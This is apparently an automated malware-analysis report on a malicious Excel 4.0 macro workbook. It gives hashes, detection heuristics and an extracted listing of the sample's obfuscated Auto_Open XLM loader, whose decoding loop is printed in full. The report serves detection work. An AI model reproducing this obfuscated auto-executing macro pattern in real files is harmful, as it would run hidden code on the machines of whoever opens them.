Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ea7073c2fc1a0b7c…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:40:08 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 9aeee3db3666730bf7c26e144e361f5e SHA-1: 45387a462b4b130daf514c23a664da1884f34b22 SHA-256: ea7073c2fc1a0b7cf3a706ccd70adc20076731f1c1f52bb2363715df1b71bf0f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 7020 bytes
SHA-256: 6f6ce8e7d37021201f01e7a67d91c8e4d5a3bf2664ab5967c85ee50a71d61ad6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  QxPYpEsRTfU
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G179 
' 0018     27 LABEL : Cell Value, String Constant - axxfqLquKosG len=0 
' 0018     22 LABEL : Cell Value, String Constant - AZapLvZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - beFPNQD len=0 
' 0018     22 LABEL : Cell Value, String Constant - BUjRSwR len=0 
' 0018     27 LABEL : Cell Value, String Constant - bvNhzvWwRmlU len=0 
' 0018     23 LABEL : Cell Value, String Constant - CAuQdisw len=0 
' 0018     26 LABEL : Cell Value, String Constant - CFgbzsuSzfv len=0 
' 0018     21 LABEL : Cell Value, String Constant - hkZvpI len=0 
' 0018     22 LABEL : Cell Value, String Constant - HStbXDi len=0 
' 0018     21 LABEL : Cell Value, String Constant - oLsGBG len=0 
' 0018     25 LABEL : Cell Value, String Constant - PWaYdjWHYh len=0 
' 0018     26 LABEL : Cell Value, String Constant - QhVqbvZnZQY len=0 
' 0018     26 LABEL : Cell Value, String Constant - RuQwkyWfTdp len=0 
' 0018     20 LABEL : Cell Value, String Constant - TmsYQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - twhYcKCSWFZg len=0 
' 0018     24 LABEL : Cell Value, String Constant - ubIokqAWP len=0 
' 0018     20 LABEL : Cell Value, String Constant - UFOpk len=0 
' 0018     27 LABEL : Cell Value, String Constant - VqymqOMPpQjk len=0 
' 0018     24 LABEL : Cell Value, String Constant - yuxNaeddC len=0 
' 0018     23 LABEL : Cell Value, String Constant - zZTwTERN len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  QxPYpEsRTfU,S53,"",909.00000000000000000000
'  QxPYpEsRTfU,S54,"",268.00000000000000000000
'  QxPYpEsRTfU,S55,"",-124.00000000000000000000
'  QxPYpEsRTfU,S56,"",-719.00000000000000000000
'  QxPYpEsRTfU,S57,"",-433.00000000000000000000
'  QxPYpEsRTfU,S58,"",-144.00000000000000000000
'  QxPYpEsRTfU,G83,"SET.NAME("bvNhzvWwRmlU",0+VALUE("0"))",""
'  QxPYpEsRTfU,G87,"SET.NAME("twhYcKCSWFZg",bvNhzvWwRmlU)",""
'  QxPYpEsRTfU,G92,"SET.NAME("CAuQdisw",bvNhzvWwRmlU)",""
'  QxPYpEsRTfU,G97,"SET.NAME("axxfqLquKosG",COUNTA(BUjRSwR))",""
'  QxPYpEsRTfU,G101,"SET.NAME("AZapLvZ",COUNTA(ubIokqAWP))",""
'  QxPYpEsRTfU,G106,[],""
'  QxPYpEsRTfU,G108,"SET.NAME("beFPNQD","")",""
'  QxPYpEsRTfU,G110,"twhYcKCSWFZg",""
'  QxPYpEsRTfU,G115,"SET.NAME("CFgbzsuSzfv",HLOOKUP("*",BUjRSwR,twhYcKCSWFZg,FALSE))",""
'  QxPYpEsRTfU,G119,"HStbXDi",""
'  QxPYpEsRTfU,G124,"SET.NAME("oLsGBG",bvNhzvWwRmlU)",""
'  QxPYpEsRTfU,G129,[],""
'  QxPYpEsRTfU,G134,"oLsGBG",""
'  QxPYpEsRTfU,G139,"zZTwTERN",""
'  QxPYpEsRTfU,G141,"TmsYQ",""
'  QxPYpEsRTfU,G143,"yuxNaeddC",""
'  QxPYpEsRTfU,G145,"SET.NAME("hkZvpI",VALUE(HLOOKUP("*",ubIokqAWP,yuxNaeddC,FALSE)))",""
'  QxPYpEsRTfU,G149,"PWaYdjWHYh",""
'  QxPYpEsRTfU,G151,"beFPNQD",""
'  QxPYpEsRTfU,G155,"CAuQdisw",""
'  QxPYpEsRTfU,G159,NEXT(),""
'  QxPYpEsRTfU,G163,"UFOpk",""
'  QxPYpEsRTfU,G167,[],""
'  QxPYpEsRTfU,G170,"QhVqbvZnZQY",""
'  QxPYpEsRTfU,G174,NEXT(),""
'  QxPYpEsRTfU,G176,RETURN(),""
'  QxPYpEsRTfU,G202,"SET.NAME("VqymqOMPpQjk",G83)",""
'  QxPYpEsRTfU,G204,"BUjRSwR",""
'  QxPYpEsRTfU,G207,"SET.NAME("ubIokqAWP",R53C12)",""
'  QxPYpEsRTfU,G209,"SET.NAME("QhVqbvZnZQY",215)",""
'  QxPYpEsRTfU,G212,"SET.NAME("RuQwkyWfTdp",7)",""
'  QxPYpEsRTfU,G214,VqymqOMPpQjk(),""
'  QxPYpEsRTfU,G215,HALT(),""

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